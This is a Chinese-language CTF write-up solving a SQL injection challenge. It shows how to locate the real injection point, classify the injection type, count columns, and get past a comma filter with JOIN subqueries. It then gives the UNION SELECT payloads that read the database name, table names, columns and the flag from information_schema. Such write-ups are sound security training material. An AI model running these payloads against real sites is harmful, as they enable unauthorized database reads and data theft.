2018小訓—“百度杯”CTF比賽_九月場_SQLi
題目源: i春秋CTF大本營
小工具: Burp Suite(抓包神器)
思路點用黃色加粗標記,操作點用綠色加粗標記
解題的流程:
1.點進去一片空白習慣性,看源碼。<!-- login.php?id=1 -->,看來要改改url。將原來的"/XXXXXX.php"換成“/login.php?id=1”。訪問之後思維變成了直接開註入?但是沒什麽用。。。如果這時用sqlmap測試會發現這是個假的註入點。真的在哪裏?只能猜猜,訪問index.php。在控制臺中發現了重定向302的相應headers,找到了真實的註入點:"/l0gin.php?id=1",將原來的"/XXXXXX.php"換成“/l0gin.php?id=1”
2.開始測試註入點:測註入點類型——>測id關鍵字的數據類型(!!!這個很重要,wp都不怎麽講這個)。依次測試[1‘,1‘‘,‘ ‘1]這是字符型的測試序列,測試[9-8,66-ascii(‘A‘),50-ascii(1)]這是數字型的測試序列(參考《黑客攻防技術寶典Web實戰》)。判斷這是個字符型的註入點。然後輸入“1 and”判斷id的數據類型是int。其中的門道見:
3.查詢字段數,使用order by,"?id=1‘ order by 3 -- ‘"確定是兩個字段,可以對照by 1,by 2,發現判斷的依據。
4.查詢當前的數據庫名,使用database(),"?id=1‘ select 1,database(),3 -- ‘",看到返回結果,顯然是逗號之後的東西被吃掉了。。。
這就要想辦法繞過逗號的使用,百度或者谷歌,解決方案是join連接表:(參考一下:https://blog.csdn.net/qq_33020901/article/details/78906268)。樣式總結就是
>>select * from ((select 1)a join (select 2)b);/*還可以連接單個字段的表*/
"?id=‘ union select * from ((select database())a join (select version())b) -- ‘"(記得把1去掉,因為題目只返回第一條查詢記錄,有了1,就看不見第二條了)
5.查詢表名
"?id=‘ union select * from ((select group_concat(table_name) from information_schema.tables where table_schema=database())a join (select version())b) -- ‘"
6.查詢該表的字段名稱
“?id=‘ union select * from ((select group_concat(column_name) from information_schema.columns where table_name=‘users‘)a join (select version())b) -- ‘”
7.查出flag唄
“?id=‘ union select * from ((select flag_9c861b688330 from users where id=1)a join (select version())b) -- ‘”
後記:
1.作者全部手敲的,難免有些小差錯,歡迎留言指出
2.這個我也不是一次pass,借鑒了好幾篇博文,比如那個逗號的繞過,個人重視的是那個註入點判斷那裏,註入起手式要理清。
2018小訓—“百度杯”CTF比賽_九月場_SQLi